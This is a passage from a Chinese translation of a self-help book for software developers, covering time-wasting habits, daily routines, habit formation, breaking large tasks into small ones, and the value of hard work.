Group，2010］。\n一些常见的时间杀手\n看电视。\n社交媒体。\n新闻网站。\n不必要的会议。\n烹饪。\n玩电子游戏（尤其是网络游戏）。\n工间喝咖啡休息。\n地雷：烹饪、工间喝咖啡休息或者其他你喜欢做的事情是在浪费时间吗？\n也是也不是。答案取决于你为什么做这些事情。为了享受快乐有意识地做这些事情，就不是浪费时间，只要你是因为喜欢才特意做这些事情，而不是为了逃避自己应该完成的实际工作。\n我曾经把玩电子游戏视为浪费时间，但是我喜欢玩电子游戏。这是否意味着我要完全放弃玩电子游戏呢？不是的。但是，当我有任务需要完成的时候，我就不能玩电子游戏。我不能用玩电子游戏来逃避自己本该完成的工作。\n同样的原则也适用于烹饪。也许你喜欢烹饪，为自己制作健康美食。如果是这样，那就太棒了。但是，如果你不特别喜欢烹饪，却要耗费大量时间来准备简单的一餐，那你就需要找出其他的健康饮食的方法来减少用于烹饪的时间。\n我的目的不是让你抛弃生活中的喜好，只是确保你没有把时间浪费在一些没必要做或者不那么喜欢做的事情上，或者吞噬掉你所有业余时间的事情上。\n跟踪你的时间\n如果你有“社交媒体成瘾症”，你可能就需要跟踪一下自己在社交媒体网站上花费了多少时间。你可以使用RescueTime（http://simpleprogrammer.com/ss-rescue-time）这类工具来跟踪自己一天当中到底是如何花费时间的，它还能生成一份报告，显示出你在社交媒体网站上花费的确切时间，以及你在计算机上做其他非生产性工作的确切时间。要想消灭时间杀手，最好的方法就是先找出它们。在找回被浪费的时间之前，你需要了解自己的时间都浪费在哪儿了。\n我建议你使用某种时间跟踪系统来看看每天时间的确切去向。我刚开始为自己工作的时候，我不知道自己的时间都去哪儿了。我总觉得自己每天能完成的工作要比实际完成的工作多得多。于是，我一丝不苟地跟踪自己的时间两周，最终找出浪费时间最多的几个方面。\n如果能准确了解自己的时间花在哪儿了，就能识别并且消除那些最大的时间杀手。试着弄清楚自己每天在不同任务上花费的时间。即使是跟踪一下每天吃饭花了多少时间，也能真正了解时间都去哪儿了。\n采取行动\n下一周，精心地跟踪一下自己的时间花费情况。获取精确的数字，了解每天的每小时你都是怎样花掉的。看看数据，找出你最大的2～3个时间杀手。\n如果你有看电视的习惯，尝试离开电视一周，即尝试度过一个“无电视周”，看看如果不看电视你都会做些什么。\n弄清楚哪些时间是可以“买回来”的，如雇人为你修剪庭院、做保洁等。（如果切断有线电视，你甚至可以用这笔省下来的钱来支付上述费用。）\n第44章 形成惯例的重要性\n生产力的真正秘诀在于：长期坚持做一些小事。例如，每天写1000字，那么一年就能写4本小说。（一本小说平均为6万～8万字）。\n然而，有多少人坐下来写小说却从来没写完一本呢？他们没有意识到，横亘在自己与梦想之间的无非就是“惯例”。惯例塑造你的生活，让你变得更有生产效率，惯例是让你实现目标最强大的方式之一。你每天的行为日积月累下来，可以让你生活的每个方面都得到提升。\n在本章中，我们会讨论形成惯例的重要性，并讨论一些帮你形成惯例的方法，让你变得更富有成效，帮你实现目前看起来似乎遥不可及的目标。\n惯例可以让你……\n每天早上起床之后，我要么去健身房练举重，要么跑上5公里。我已经坚持了很多年，而且会继续坚持下去。锻炼回来后，我都会坐在办公桌前查看自己的日常工作。我确切地知道自己每天、每周要做什么。这一惯例偶尔会变化一下，但我总会形成一些惯例，推动我向着自己的目标前进。\n一年前我为自己创建的惯例塑造了今天的我。如果我的惯例是每天早上去甜甜圈店而不是去锻炼，那么我看起来会与现在大不相同。如果我的惯例是每天练武功，说不定我已经是一位武林高手了。\n同样的规则也适用于你。每天你做什么样的决定塑造着未来的你。你也许想在很多事情上改变自己，但是关键在于做到改变自己需要时间，需要持之以恒。如果想实现某个目标，不论是写小说、开发应用程序还是建立自己的企业，你必须要形成惯例，缓慢但稳步地向着自己的目标前进。\n我在这里写下的这些内容似乎都是常识，但是回顾一下自己的生活和目标，审视自己的梦想和愿望，你真的每天在积极努力地向着它们前进吗？难道你不觉得，正是你创建的惯例推动你每天向着自己的目标更进一步，最终使目标得以实现吗？\n创建一个惯例\n现在是时候采取行动了。不是明天，不是下周，就是现在。如果想实现自己的目标，塑造自己的未来——而不是受他人或环境的摆布，你现在就要形成惯例，让它指引你朝着梦想前行。\n一个好的惯例始于一个大的目标。你想要达成的目标是什么？通常你一次只能专注于实现一个大目标，因此选择当下对你最重要的目标。你知道，为了这个目标你已经准备了好久，但你从来没有时间着手去实现它。\n一旦挑选好了大目标，接下来就要弄清楚怎样才能每天或每周前进，最终实现目标。如果你想写一本书，每天要写多少字才能在一年内完成？如果你想减肥，每周要减掉几斤才能达到目标？\n大目标将构成惯例的基础。你要围绕这一目标安排自己的日程。大多数人必须要每天工作8小时，于是留下的灵活性已经不大了，但是还有剩下的16小时可供支配。我们需要保证8小时的睡眠，还剩下8小时。最后，每天吃饭还要花2小时。所以，在最坏的情况下，你每天应该有6小时可以分配给自己想要达成的目标。\n当然，每天6小时看起来不那么充裕，但这样下来每周可就是42小时。（如果读过第43章，你可能已经猜到大多数人每周在这40小时里干了些什么。看，戒掉电视是多么重要啊！）\n好了，现在我们知道自己要做什么，下一个任务就是精确地安排这些时间。因为你已经形成了惯例——每天都要去工作，所以最成功的方法就是围绕5个工作日来形成惯例。我建议你把每天最开始的一两个小时投入到最重要的目标上。你可能需要早起一两个小时，但是通过有效利用每天最开始的一两个小时，你不仅更容易坚持想要做的事情，还会精力更充沛。\n只需简单的改变，你就会每天朝着最重要的目标的方向前进。即使只安排了工作日，你每年也已经可以在正确的方向上前进260步。如果你正在写一部小说，每天写1000字，一年也会写26万字！（《白鲸》的英文原著是209 117字。）\n让惯例更细化\n到目前为止，我们的日常安排中只列了一件事——但它却是最重要的事。如果只做这一件事，你会很满意取得的成果，但是我们可以做得更好。如果你真想提高生产效率，就需要对自己的生活有更多把控。\n我在家为自己工作，你可以想象我的例行安排是非常详细的。我的例行安排里明确了每天要完成的主要任务。这一例行安排能让我每天完成最大量的工作。大多数与我交谈过的人都惊讶地发现，我每天按照惯例行事的同时，还能按照自己的想法做任何事。但是，惯例的确对我的成功至关重要。\n如果你为自己工作或者是在家办公，一定要制订一份日程，明确规定自己每天都做什么，包括什么时候开始工作，什么时候停止工作。这么做缺乏灵活性，但却能提高生产力，也能让你知道自己在朝着目标前进。\n即使你不在家办公，仍然需要形成一个覆盖一天中大部分时间的惯例。如果你的工作是朝九晚五，那么祝贺你，结构的大部分已经到位了。\n强烈建议你安排好每个工作日的时间，以便自己知道每天、每周要做什么。我们谈到过围绕大目标建立惯例，但你可能也要有很多想要取得进展的小目标。那么，朝着这些小目标前进的最好办法就是把这些小目标安排到自己的例行安排中去。\n刚开始工作的时候你就要决定好自己打算做什么。它可能会是查看和回复电子邮件，但也许更好的选择是从每天必须要做的最重要的事情开始。（电子邮件可以晚点儿处理。）选出每天或每周都要重复的几个任务（参见第39章的定额工作法，了解更多细节）。每天都安排时间处理这些任务，以便你可以确保它们被完成。当我在办公室工作的时候，每天我会抽出30分钟时间学习自己工作中会用到的技术，我习惯将其称为“研究时间”。\n你还应该安排自己的食谱，甚至围绕着每天吃什么来形成惯例。我知道这听起来有点儿不可思议，但我们的确为了决定吃什么和做什么饭浪费了大量的时间，如果这些事情不能提前计划，最终我们就会吃得很差。\n每天的生活越有条理，就越能把控自己的生活。想想看，如果你一直对外界作出反应，如果你总是在事情出现的时候被动地处理事情而不是主动地规划，那么周围的环境会左右你的生活，而不是你自己。\n表44-1给出的是一个每日的例行安排的示例。\n表44-1 例行安排示例\n时间\n活动\n7:00 am\n锻炼（跑步或者举重）\n8:00 am\n吃早餐（周一、周三、周五，早餐食谱A；周二、周四，早餐食谱B）\n9:00 am\n开始工作，并且挑选最重要的工作做\n11:00 am\n检查和回复邮件\n12:00 am\n吃午餐（周一、周二、周三、周四，自己做午餐；周五，外出吃午餐）\n1:00 pm\n专业开发时间（研究新技术，提高技能）\n1:30 pm\n做第二重要的工作，开会或其他\n5:30 pm\n为明天的任务做好计划，记录今天完成的工作\n6:30 pm\n晚餐\n7:00 pm\n陪孩子做游戏\n9:00 pm\n读书\n11:00 pm\n睡觉\n地雷：注意不要过于沉迷于惯例\n你应该有自己遵循的惯例，但是也要有一定的灵活性。你可能会打乱一天的日程安排。不要忘记会有像车坏了这种不可预测的事件发生，车坏了可能会打乱你的例行安排。你需要学会从容应对这些事情。\n采取行动\n你目前有哪些惯例？跟踪一下你的日常活动，看看你已经在遵循的惯例有哪些。\n选择一个大目标，以每个工作日为单位制订例行安排。计算一下，如果你每天都朝着这个目标前进，一年下来你会取得多大的成就。\n第45章 培养习惯：刷新你的代码\n成就我们的恰恰就是那些不断重复做的事情。因此，优秀不是一种行为，而是一种习惯。\n——亚里士多德\n我们每个人都有习惯，有好有坏。好习惯能够推动我们前进，帮助我们成长；坏习惯则阻止我们前进，阻碍我们成长。培养和养成良好的习惯可以让你不需要刻意努力就保持很高的生产效率。如同惯例可以帮我们缓慢而坚定地每次只砌好一块砖，最终建起一面巨大的墙一样，习惯也可以通过日积月累的努力，让我们前进或者后退。二者最大的区别在于，惯例是我们可以控制的，而习惯却不受我们控制。\n在本章中，我们会谈论好习惯的价值，以及培养好习惯的方法。我们无法控制习惯，但是可以控制养成习惯和打破习惯。学习如何培养良好习惯会是生活中你可以做的最有效的事情之一。\n了解习惯\n在我们深入到改变旧习惯、养成新习惯之前，我们需要讨论一下习惯到底是什么。在这里，我可以给一个简要概述，要了解更详细的解释，你可能要查看一本优秀的图书——Charles Duhigg所著的《习惯的力量》（The Power of Habit）［Random，2012］一书。\n习惯主要由三个要素构成：暗示，惯例和奖励。暗示是导致习惯被触发的某样东西。它可能是某一天的某个特定时刻、某种形式的社交场合、某个特定的环境或者其他任何东西。例如，只要我们进入电影院，我们就获得了买爆米花的暗示。\n接下来是惯例。惯例就是你做的事情，也就是习惯的本质。惯例可能是抽烟、跑步，也可能是在检查代码之前运行所有的单元测试。\n最后，还有奖励。奖励就是让习惯真正保持下去的“锚”。这是一种你从执行习惯中获得的良好感觉。奖励可能只是一种满足感，或者是你在《魔兽世界》里升级时的那一声“叮”，再或者是你喜欢的那道点心的甜蜜味道。\n我们的大脑非常善于养成习惯。我们会根据周围的事物自发地养成习惯。一件事情做的越多，越可能形成习惯。习惯的力量往往基于奖励的价值。我们都喜欢做能够带来更好回报的事情。然而，奇怪的是，可变化的奖励要比已知的标准奖励更让人着迷。这就是在赌场能看到那么多人的原因。不知道自己是否能得到奖励或者不知道奖励有多大，会形成一种很坏的习惯，即公认的“上瘾”。\n习惯的三要素：暗示、惯例和奖励\n你可能已经有数百个自己没有觉察到的习惯。每天早上起床后你可能会有一个特定的惯例，譬如每天早上都要刷牙。你可能还有各种各样影响你的工作方式和工作方法的习惯。这就是我想在本章中讨论的焦点，因为养成这些习惯对于提高工作效率帮助最大。\n找出坏习惯，改掉\n通常，找出坏习惯，再围绕这些坏习惯创造出好习惯是最简单的方法。如果我们能够识别出自己有哪些坏习惯，我们就可以通过抛弃坏习惯、养成好习惯，在生产力上获得双倍提升。\n我有一个坏习惯：每天当我坐在电脑前，我就会马上检查电子邮件，然后浏览互联网电商网站和社交网站。我冒昧地猜测你也有类似的每天都在做的惯例。\n当然，我首先承认，我仍然处于打破这个习惯、改变它的过程之中，这确实不容易。但是这个例子让我们明白，我们可以将坏习惯转变为好习惯。\n让我们来检测一下这个习惯，并把它分解为三个部分。首先是暗示。在办公桌前坐下来似乎是一个暗示。早晨，一旦我坐在电脑前做第一件事情，这个习惯就开始了。接下来是惯例。这个惯例就是检查电子邮件，看看Slikckdeals.com上有没有好的交易，看看Facebook、Twitter和别的自己喜欢的网站。最后，就是奖励。奖励具有两面性。查看自己喜欢的网站能让我感觉不错，有时候确实有人给我的帖子点赞，邮箱里也有新邮件等着我回复。另外，我觉得这么做还能缓解压力，因为我可以从自己当日要完成的工作中暂时解脱出来，放松片刻。\n我本该试着完全抛弃这个习惯，但是做起来相当困难。我很难抵挡它的诱惑，并且一半的时间里当我按照习惯做事时我都没有意识到自己在这么做。习惯是自发的。但是，与完全抛弃习惯不同，我可以改变惯例。我不再查看自己喜欢看的所有网站，而是采用了提示，提示能够将我引向另一项活动——一项更富有成效的活动。\n养成好习惯非常重要\n如果我早起之后的第一件事情不再是浏览网站，我会制订当日计划，并挑出当天自己最喜欢的事情。这样我就可以完成更多的工作，我也可以从自己最喜欢的工作开始，而不是从最不喜欢的工作开始。当然，我可能不会每天一开始就一头扎进最重要的工作，但我会努力去做富有成效的工作，而不是浪费半小时做一些毫无成效的事情。\n我可能需要一段时间才能让坏习惯转变为好习惯，但是好习惯终将取代以前的坏习惯，成为每日惯例的一部分。\n你也可以采用同样的方法来改正自己的坏习惯，但首先你必须找出这些坏习惯。要找出坏习惯，最好的办法就是设法找到日常生活中令你感到内疚的事情或惯例。什么事情你想停下来却又总是推迟到另一天？\n试着从小事做起。选一个你找出来的坏习惯，不要试图马上就改变它。相反，尽量找出这个习惯被什么触发，你这么做有什么表现，以及是什么奖励激励你产生冲动要这样做。有时候，你甚至会发现，所谓的“奖励”不过是个幻象——一个你期望能够实现却从未兑现的承诺。例如，许多人都有买彩票的习惯，因为他们认为自己会中奖，尽管他们从未中过奖。\n一旦你能够很好地掌控习惯本身，你就会发现自己对习惯可以保持更清醒的认识。你甚至可以通过近距离审视一个习惯而打破它、改变它。\n接下来，努力找出是否有别的惯例可以代替当前这个为了某个习惯正在执行的惯例。如果可能的话，尽量寻找那些会带来相似的奖励甚至相同类型的奖励的事情。\n最后也是最困难的部分是，强迫自己坚持足够长的时间，以使新习惯取代旧习惯。只要你能在新的习惯上坚持足够长的时间，新习惯最终一定会变得很轻松且是自发的。\n养成新习惯\n除了改正旧习惯，你还需要围绕着自己要做的事情养成新习惯。在前一章中我们谈到过形成惯例的重要性。但是，如果惯例不能转变成习惯让你坚持下去，就不会成功形成惯例。\n只要将惯例坚持足够长的时间，你就可能会成功地形成新习惯。我在坚持了数月之久后，成功养成了每周跑步三次、举重三次的习惯。几个月之后，根据每周的不同日子，我会自动强迫自己去外面跑步或去健身房。\n在所有关于新习惯养成的例子中，我最喜欢一个例子来自John Resig的一篇博客文章。John是我非常尊敬的开发者。他在一篇题为“每天写代码”（Write Code Every Day）的文章中，谈到了自己的经历。他之前在业余项目上毫无进展，直到养成了每天至少用30分钟写一定量有用的代码的习惯。在实行新惯例之后，它成了一种习惯，这使他的生产力获得了巨大的提高。你可以在http://simpleprogrammer.com/ ss-write-code阅读这篇文章的完整内容。\n养成习惯的方法与形成惯例的过程很相似。试想，你要完成的大目标是什么，看看你是否能养成某种习惯，推动你在奔向大目标的方向上前进。你的习惯越积极，你向着自己的目标前进的过程就越轻松。\n一旦你选定了想要养成的习惯，想想有助于激励你养成这一习惯的奖励。例如，你可能决定自己要养成在检查代码之前运行所有单元测试的习惯，那么你或许会决定：假如在检查代码之前运行了所有单元测试就给自己5分钟的休息时间去检查电子邮件。你只要留意并确保给自己的奖励本身不是一个坏习惯。例如，我不会建议你每次锻炼之后吃糖果。\n接下来，为你的新习惯找出暗示。是什么触发了你的这个习惯？让暗示固定不变，让你可以依赖。一天中某一个特定时间，或者一周中特定的某一天，都是很好的暗示，它将确保你不会把行动推迟到另一个时间。如果你能同时养成另一个习惯，效果更好。我有一个习惯，每天晚上会花30分钟阅读技术书籍，以此来打磨我的技能。我后来决定将该项习惯与每天步行30分钟的习惯结合起来，养成一个新习惯。现在，我想读书的时候，我总觉得非得在跑步机上走30分钟不可。\n采取行动\n跟踪你的习惯。哪些习惯对你目前的生活影响最大？你认为其中有多少是好习惯，又有多少是坏习惯？\n挑选一项你的坏习惯，试着把它转变为好习惯。在开始做之前，先在自己脑海中设想一下从现在起一周之后、一个月之后、乃至于一年之后你会有什么成果。\n第46章 分解任务：如何吃掉一头大象\n要吃掉一头大象，每次吃一口。\n——克雷顿·艾布拉姆斯（Creighton Abrams）\n造成拖延的首要原因之一，同时也是造成生产力低下的祸根，就是总是在感慨一个问题：好忙啊，问题好大啊……实际上，你并没有真正试着去解决问题。当我们从任务的全貌来审视任务的时候，它们看起来比真实情况都要大，并且更吓人。\n在本章中，我会谈及一个能够帮助你克服拖延的提高生产力的窍门：分解任务。通过将大任务分解为小任务，你会发现自己更有动力去完成它们，也更加稳妥地向着目标前进。\n为什么更大并不总是更好\n任务越大，看起来就越吓人。编写一个完整的软件应用程序很困难，但是写一行代码就容易得多。遗憾的是，在软件开发领域，我们遇到的大项目、大任务往往要比小项目、小任务多得多。\n这些大任务或大项目给我们带来了心理上的伤害，也削弱了我们的生产力——因为我们无法看清楚未来的前景。从宏观上审视一项大型任务的全貌时，它看起来几乎是不可能完成的。想想类似的壮举：盖一幢摩天大楼，修一座横跨几公里的大桥。\n然而，很多摩天大楼和大桥已经被建成了，因此我们知道它们是可行的，但是如果从整体角度看待任何一个此类项目时，看起来好像任何人都不能完成它。\n完成大型项目，像从头开始构建一个应用程序这样的，令我挣扎很久。我曾经动手开发过许多不同的应用程序，但最后都无疾而终，直到我学会如何分解任务。每当开始新项目的时候，我总是热情高涨，但是很快我就会被那些琐碎的事务搞得焦头烂额。我总在想还剩下多少工作要做，我从来就没有冲过终点线。项目越大，我越可能失败。\n我发现有这方面困扰的不止我一个。在软件开发领域，我扮演过各种角色，我发现，当我给其他开发人员分配工作的时候，一个项目能否成功的最大标志就是我所分配的任务的规模。我要求他人完成的任务越大，他们完不成任务的可能性就越大。\n关于这个问题，我们已经讨论过，原因之一就是：大型任务给人带来沉重的心理负担。面对大问题时，我们倾向于花更多的时间思考问题本身，而不是采取行动去解决问题。人类倾向于选择阻力最小的路径。当面对一项大任务的时候，检查电子邮件或者泡上一杯咖啡看起来就是更容易的路径，于是拖延随之而来。\n但是拖延还不是我们不喜欢大型任务的唯一原因。任务越大，越难明确定义。如果我让你去商店买鸡蛋、牛奶和面包，这个任务就是非常明确的，你知道该做什么。完成这项任务很容易，你正确完成任务的概率也很高。\n但是，如果我让你创建一个网站，这个任务很大，定义也不明确。你可能不知道要从哪里着手，也会有许多问题都悬而未决。你不太可能知道要完成这项任务该做些什么。我可以把我认为的、我期望的如何建立这个网站的内容详细记录下来，但是你得花一些时间才能读完并理解这么详细的说明，并且仍然有很高的出错概率。\n大型任务往往也很难估算完成时间。如果我问你，写好一个找出列表中规模最大的项目的算法需要多长时间，你也许可以给我一个非常准确的估计值。但是，如果我让你告诉我，实现网站上的购物车功能需要多久，你的估计值不会比瞎猜好多少。\n大型任务是一种智力挑战，与小任务相比，大任务更可能导致拖延，通常描述也更少，更容易出错，也更难估算完成时间。\n分解任务\n不要绝望，还有解决方案。事实证明，大多数大任务都可以被分解成更小的任务。实际上，几乎每个大型任务都可以分解为不计其数的更简单更小型的任务。\n把大型任务分解为更小的任务，是我一直用来完成更多工作、更准确地估算要完成这项工作我需要多长时间的技巧之一。\n事实上，这本书采用这样的结构并非巧合。你可能想知道为什么这本书有这么多章。在我开始着手写这本书的时候，我特意选择将每一篇拆分成很多小的章，而不是少数几个篇幅很长的章。原因有两个方面。\n首先，小章内容更易于读者阅读消化。我知道，当我读章篇幅很长的书的时候，除非我有足够的时间读完一整章，否则我可能会避免捧起那些书来读。阅读每一章都很长的书的任务看起来会很吓人，所以我不太可能读完。希望你已经发现，与那些篇幅巨大、很少停顿的书相比，每章1000～2000字的篇幅更容易阅读，也不那么吓人。\n其次，小章让我更易于完成写作。我知道，写书是一项挑战，大多数决心坐下来写书的人最终都不能完成它。曾经，我也有过这样的经历。如果每章的篇幅和一篇博客文章的长度差不多，那么写书这项任务就更可以管理了。所以，我给自己的不再是“写一本书”这样一个大任务，而是写大约80个小任务，每个小任务就是本书的一章。\n当把任务分解成小块的时候，这些任务就变得更易于完成，对完成任务所需的时间的估算也更精确，你也更有可能正确地完成它们。即使有些小任务没有正确完成，你也有很多机会改正，而不至过多地影响大项目。我发现，把大任务分解成小任务真是一个好主意。\n如何分解任务\n事实证明，分解任务并没有那么困难。大多数任务都可以通过一次一步的方式分解为许多小任务。关于如何吃掉一头大象的引文非常正确。唯一可信的吃掉一头大象的方法就是一口一口地吃。这几乎同样适用于每项大型任务。即使你没有有意识地分解大任务，仍然会受制于时间的线性发展，即要想完成事项A，必须要先完成事项B，以此类推。\n如果想承担一项大任务，又不想被它吓倒，你首先需要明确完成这项任务需要哪些步骤。如果我被分配了一项大任务，我要做的第一件事情就是弄清楚我能否将它分解为一连串的小任务。\n我最近的一个项目是为我的一个客户建成持续集成系统，并完成代码部署的工作。这项任务非常庞大，看起来很吓人也很艰巨。但是，我没有试图一步登天地处理它，而是将其分解为一系列更小的任务。\n首先是要获得客户端代码，从命令行去构建和编译，因为这是创建自动构建环境的必需步骤。下一个任务是让构建服务器能够检出代码。然后，下一个任务是将这两者结合起来——让构建服务器能够检出代码，并使用命令行脚本来编译代码。\n把大任务分解成小任务，这样更有意义\n我把整个项目分解为这样的小任务后，原来的庞然大物瞬间变成了一只小老鼠。即使整个项目看起来仍然是难以解决的大问题，但每个小任务看起来却很简单。\n你可能会发现一件事情，当你试图把大任务分解为许多小任务的时候，对于究竟需要做什么你其实并没有足够的信息。还记得我说过大任务通常并不明确吗？把大任务分解为小任务的关键步骤就是确定出因为缺失了哪些信息而导致你无法创建更小、更明确的任务。如果你在把大任务拆分成小任务的时候遇到问题，很可能是由于缺少信息。\n但是这并不是坏事。在项目早期发现信息不足要比项目已经进展很多后才发现信息不足要好很多。把大任务分解为小任务的时候，务必确保每个小任务都有一个明确的目标。试着明确这些目标经常会发现之前用别的方法遗漏了的重要信息。\n当我在敏捷团队工作的时候，我经常尝试使用这种方法从客户那里获得正确的信息。当客户要求你完成某项大任务的时候，例如，他们希望你能在他们的网站上增加购物车这样的大任务的时候，他们经常很难准确描述自己想要什么。如果你能将大任务分解为小任务，就可以让他们更容易地说出他们到底想要什么。\n分解问题\n分解任务的方法同样适用于编码和问题求解。许多新入行的开发人员总是会被自己要解决的问题压垮，他们认为自己的代码很难写，问题很难解决，原因在于他们总是试图一次性解决太大的问题。他们不知道如何分解问题。（我不得不承认，我自己偶尔也会犯这样的错误。）\n当然，在管控代码的复杂程度问题上，我们也会做一些工作。这就是我们不会将所有的代码都写入一个方法中的原因。我们会将自己的代码分解为方法、函数、变量、类以及其他结构，从而简化代码。\n不管编程问题有多难，它总是可以被分解为更小的单元。如果你想要写出一个难度很大的算法，在一头扎进去写代码之前，先把这个问题分解为能够依次独立解决的小模块会更有帮助。无论应用程序多么庞大、多么复杂，它都可以被分解成一行行的代码。单独一行代码的复杂度绝对不会超过任何一位程序员的理解能力和编码水平，所以，如果你愿意将问题分解得足够小，只凭借写出单行代码的能力你就能写好任何应用程序。\n采取行动\n当前，你因为其规模惊人放弃了哪些大型任务？你会在打扫车库、写博客文章、解决复杂算法等事情上拖延吗？\n选出一个你当前面临的大问题，看看能否找到好办法将它分解为更小的任务。\n第47章 努力工作的价值，以及为什么你总是逃避努力工作\n本章非常贴近我的心！努力工作是成功的必要条件，无法逃避——我觉得正是在最终接受了这一观点之后，我的职业生涯乃至于我的生活都发生了巨大的转折。\n每个人，包括我自己在内，一生中都在寻找捷径——不用努力工作就能获得成功的方法。我们都希望能找到一些不用实际工作就能享受努力工作的成果的方法。我也想让这本书能够奇迹般地一书而就，而不必让我辛苦地坐下来奋笔疾书。\n然而，现实的情况是，一切有价值的东西无一不是努力工作的结果。生活中，特别是在软件开发的职业生涯中，如果你想看到成果，你就必须要学会坐下来，做好自己并不想做的工作——并且要坚持不懈。\n在本章中，我们将揭穿假内行的谎言，他们宣称：你可以通过聪明地工作而不是努力地工作，获得丰厚的回报。同时，我们还会解决努力工作背后的动机上的考验。\n为什么努力工作是如此的辛苦\n为什么有的事情就是比其他事情做起来难得多得多，对我来说就像一个谜。为什么我可以一次玩几个小时游戏也没问题（根据论证，玩游戏可是涉及相当大量的心理应变活动呢），却似乎总无法让自己坐下来写一篇博客文章？莫非我心中真正关心的并不是我正在做的事情？我知道，对于我的大脑这台控制运行的机器来说，在它那里所有的东西都是工作。难道我的大脑真的会关心我到底是在游戏控制器上狂按按钮，还是在键盘上敲击按键吗？但是，对我来说，它们一个是工作，一个是游戏。一个辛苦，一个快乐。\n我从来没有见过真正享受艰苦工作的人。许多人会说自己享受努力工作，其实我们中大多数人享受的不过是刚刚开始工作或者即将完成工作的那一瞬间。基本上没人愿意做艰苦的工作。\n实话实说，我无法给你一个很好的理由，解释为什么会这样。我无法告诉你，为什么让大脑发送电信号到你的双手去写代码修复错误，比发送同样的电信号到你的双手让你在Facebook上发表评论或者输入你最喜欢的打发时间的网站的地址要难。事实就是，有些工作很辛苦，而有些工作则很轻松。\n然而，在我看来，我们认为艰苦的工作最有可能是让我们获益良多的工作。艰苦的工作最有可能是推进我们职业发展或者为我们打开机遇之门的工作。所有没有任何好处的工作看起来总是那么轻而易举。\n如果我只是“聪明地”工作\n如今，我仿佛总是听到有人宣扬“努力地工作不如聪明地工作”的理念。尽管我赞成在工作时要尽量聪明，但是我并不认同聪明地工作能够取代努力地工作。每个向你承诺无须努力就有巨大回报的人，要么试图向你兜售东西，要么就是已经忘了自己多么努力才到达了今天的位置。\n“聪明地工作可以胜过努力地工作”这一理念存在着一个重大的谬误。要想出人头地必须要聪明地工作，这确实没错，但是无论什么时候，努力工作的人总是超越自认为聪明工作的人。事情的真相是，如果想真切地看到自己行动的成果，我们必须自愿努力工作。\n如果真想富有成效，你就不得不学会工作的时候既聪明又努力。光有聪明是不够的。一定量的机智是必须具备的，然而要想获得真正的成功，面对挫折的时候一定量的毅力也是必要的。\n努力工作总是枯燥的\n如果我必须猜测一下，为什么我们逃避艰苦的工作，我会说这是因为它们太枯燥了。在我刚开始写博客的时候，我很兴奋。我对这个表达自己的机会充满热情。然而，随着时间的推移，它变成了一项苦差事。如果我没有学会坚持，设法应对这项单调乏味的苦差事，我就不可能看到自己的行动的好处。\n被我们认为困难的事情，实际上都是我们不想做的事情，因为它们不那么激动人心，也不那么光彩照人。伴随着激情飞翔，只做自己感兴趣的事情，非常诱人。一旦你不再感兴趣，你会毫不犹豫地飞向下一个目标。\n但是，这种思维方式是有问题的。问题在于，你的伙伴中如果有人愿意在一件事情上坚持更长的时间，那么最终他就会超越你。一开始，你可能领先于他们。起初，你的激情让你暂时爆发，但是那些愿意投入漫长的努力，并愿意为了完成工作执着于枯燥工作的人，最终会超过你，并且遥遥领先。\n赛跑比的是谁耐力更长久，而不是看谁冲刺更有力。\n——约翰·杰克斯，《北与南》（North and South）\n现实\n在所有的情况下，我们所面对的现实就是，没有一件事情是轻而易举的。如果真想成功，如果真想要成为成功人士，你就不得不在有些时候通宵达旦。你可能会在自己的职业生涯的数年里每周工作60～70小时。为了获得领先的地位，你可能会好几年都不得不放弃看电视或者与朋友们外出游玩。你无法欺骗这个制度。你的收获取决于你的付出。种瓜得瓜，种豆得豆。没有播种，永远没有收获。\n不过，这并不意味着你永远都不能有片刻轻松。成功会带来更多的成功。越成功就越容易获得成功。但是，攀登第一座山峰的过程是漫长又艰难的。\n只有少数人能到达顶峰，只有少数人能看到真正的成功。大多数人都在自己的职业生涯中碌碌无为。他们不愿意投入时间，也不愿意做出必要的牺牲以获得真正的成功。你可以听从本书中所有的建议，但是如果你不愿意努力工作，那么它们对你不会有任何益处，一点儿益处都没有。你必须愿意付出努力。你必须愿意将自己所学的东西付诸实践，让它们发挥作用。\n努力工作：如何做到这一点\n好了，讲到这里，你可能想知道，到底该怎样才能激励自己真正坐下来，做自己需要做的工作。我希望我可以给出一个神奇的答案，能够瞬间让你成为最有生产效率的人，没有丝毫拖沓或抵触地承担起任何工作，但很不幸的是，我并没有那样的奇迹。\n不过，我可以告诉你，我们所有人都得跟同样的问题作斗争。我们都有拖延的倾向，都会逃避真正对我们重要的工作。我最喜欢的The War of Art一书的作者Stephen Pressfield把这股神秘的、总是在我们的前进的路上抛下各式路障的力量称为阻力。他断言，每当我们试图提升自己至一个更高水平的时候，阻力一定会伸出它那丑陋的脑袋，试图让我们原地不动。\n如果要想不顾一起地追求成功，就不得不学习如何击败这个阻力。但是，如何打败这个敌人？如何才能将阻力彻底打倒，让它缴械投降呢？我们只需要坐在办公桌前，做我们应该做的事情。我们必须要学会脚踏实地、埋头苦干。这里没有容易的答案。\n我知道这并不是你想听到的答案，这也不是我想听到的答案。但是，至少你知道自己并不孤单。至少你知道，对我来说坐下来写完这本书和对你来说坐下来读完这本书一样难。至少你知道，当你逃避工作，代之以浏览Facebook的时候，有1亿人也在做着同样的事。\n不过，现在的问题是，你愿意举手投降吗？你是愿意承认自己无法集中精力、专注于工作，还是愿意推倒障碍、对抗阻力？这是只有你自己才能做出的选择。你只需下定决心去做那些需要做的工作。你必须认识到，工作最终必须要被完成，所以还不如现在就做，而不是拖到以后；你必须认识到，你要想实现目标，要想发挥出自己的全部潜力，唯一的途径就是自愿咬紧牙关、硬着头皮、开始工作。\n采取行动\n你曾经投身到哪些艰苦的工作中？有哪些任务你会因为不喜欢而拖延？找出其中一项任务，毫不犹豫地马上去做。养成雷厉风行的习惯，并且立即在需要做的工作中付诸行动。\n第48章 任何行动都比不采取行动好\n任何行动往往都比没有行动好，特别是当你一直停滞在不愉快的情势下很长时间的时候。如果这是一个错误，至少你学到了一些东西。这样一来，它就不再是一个错误。如果你仍然选择停滞不前，那么你就学不到任何东西。\n——埃克哈特·托利，《当下的力量》（The Power of 